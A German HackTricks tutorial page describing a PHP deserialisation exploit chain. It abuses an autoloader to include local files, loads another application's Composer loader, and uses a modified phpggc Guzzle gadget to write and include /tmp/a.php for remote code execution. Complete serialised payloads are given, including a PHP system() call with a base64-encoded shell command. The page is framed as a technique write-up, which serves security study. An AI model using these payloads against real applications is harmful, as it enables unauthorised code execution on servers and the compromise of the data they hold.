8.3 KiB
PHP - Deserialisierung + Autoload-Klassen
Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories senden.
Zuerst sollten Sie überprüfen, was Autoloading-Klassen sind.
PHP-Deserialisierung + spl_autoload_register + LFI/Gadget
Wir befinden uns in einer Situation, in der wir eine PHP-Deserialisierung in einer Webanwendung gefunden haben, bei der keine Bibliothek anfällig für Gadgets in phpggc
vorhanden ist. In demselben Container befindet sich jedoch eine andere Composer-Webanwendung mit anfälligen Bibliotheken. Das Ziel war es daher, den Composer-Loader der anderen Webanwendung zu laden und ihn zu missbrauchen, um ein Gadget zu laden, das die Bibliothek mit einem Gadget aus der Webanwendung angreift, die anfällig für Deserialisierung ist.
Schritte:
- Sie haben eine Deserialisierung gefunden und es gibt kein Gadget im aktuellen Anwendungscode
- Sie können eine
spl_autoload_register
-Funktion wie folgt missbrauchen, um eine beliebige lokale Datei mit der Erweiterung.php
zu laden - Dazu verwenden Sie eine Deserialisierung, bei der der Name der Klasse in
$name
enthalten ist. Sie können "/" oder "." nicht in einem Klassennamen in einem serialisierten Objekt verwenden, aber der Code ersetzt die Unterstriche ("_") durch Schrägstriche ("/"). Ein Klassenname wietmp_passwd
wird also in/tmp/passwd.php
umgewandelt und der Code versucht, ihn zu laden.
Ein Beispiel für ein Gadget wäre:O:10:"tmp_passwd":0:{}
spl_autoload_register(function ($name) {
if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}
$filename = "/${name}.php";
if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});
{% hint style="success" %}
Wenn Sie einen Datei-Upload haben und eine Datei mit der .php
-Erweiterung hochladen können, können Sie diese Funktion direkt missbrauchen und bereits RCE erhalten.
{% endhint %}
In meinem Fall hatte ich so etwas nicht, aber es gab in dem selben Container eine andere Composer-Webseite mit einer Bibliothek, die anfällig für ein phpggc
-Gadget war.
- Um diese andere Bibliothek zu laden, müssen Sie zuerst den Composer-Loader dieser anderen Webanwendung laden (weil der der aktuellen Anwendung nicht auf die Bibliotheken der anderen zugreifen wird). Indem Sie den Pfad der Anwendung kennen, können Sie dies sehr einfach mit:
O:28:"www_frontend_vendor_autoload":0:{}
erreichen (In meinem Fall befand sich der Composer-Loader in/www/frontend/vendor/autoload.php
). - Jetzt können Sie den Composer-Loader der anderen Anwendung laden, also ist es Zeit, das
phpggc
-Payload zu generieren, das Sie verwenden möchten. In meinem Fall habe ichGuzzle/FW1
verwendet, was es mir ermöglichte, beliebige Dateien im Dateisystem zu schreiben. - HINWEIS: Das generierte Gadget funktionierte nicht, damit es funktioniert, habe ich das Payload
chain.php
von phpggc modifiziert und alle Attribute der Klassen von privat auf öffentlich gesetzt. Andernfalls hatten die Attribute der erstellten Objekte nach der Deserialisierung keinen Wert. - Jetzt haben wir den Weg, um den Composer-Loader der anderen Anwendung zu laden und ein funktionierendes phpggc-Payload zu haben, aber wir müssen dies im GLEICHEN REQUEST tun, damit der Loader geladen wird, wenn das Gadget verwendet wird. Dafür habe ich ein serialisiertes Array mit beiden Objekten gesendet, wie folgt:
- Sie können zuerst den Loader laden und dann das Payload sehen
{% code overflow="wrap" %}
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
{% endcode %}
- Jetzt können wir eine Datei erstellen und schreiben, jedoch kann der Benutzer nicht in einen beliebigen Ordner innerhalb des Webservers schreiben. Wie Sie im Payload sehen können, wird PHP mit einigen Base64-Daten in
/tmp/a.php
aufgerufen. Dann können wir den ersten Typ des Payloads wiederverwenden, den wir als LFI verwendet haben, um den Composer-Loader der anderen Webanwendung zu laden und die generierte/tmp/a.php
-Datei zu laden. Fügen Sie es einfach zum Deserialisierungsgadget hinzu:
{% code overflow="wrap" %}
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
{% endcode %}
Zusammenfassung der Payload
- Laden Sie den Composer-Autoload einer anderen Webanwendung im selben Container.
- Laden Sie ein phpggc-Gadget, um eine Bibliothek der anderen Webanwendung zu missbrauchen (die anfällige Webanwendung für Deserialisierung hatte keine Gadgets in ihren Bibliotheken).
- Das Gadget wird eine Datei mit einem PHP-Payload in /tmp/a.php erstellen, die bösartige Befehle enthält (der Webanwendungsbenutzer kann nicht in einen Ordner einer beliebigen Webanwendung schreiben).
- Der letzte Teil unserer Payload wird die generierte PHP-Datei laden, die Befehle ausführen wird.
Ich musste diese Deserialisierung zweimal aufrufen. Bei meinen Tests wurde die Datei /tmp/a.php
beim ersten Mal erstellt, aber nicht geladen, und beim zweiten Mal wurde sie korrekt geladen.
Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories senden.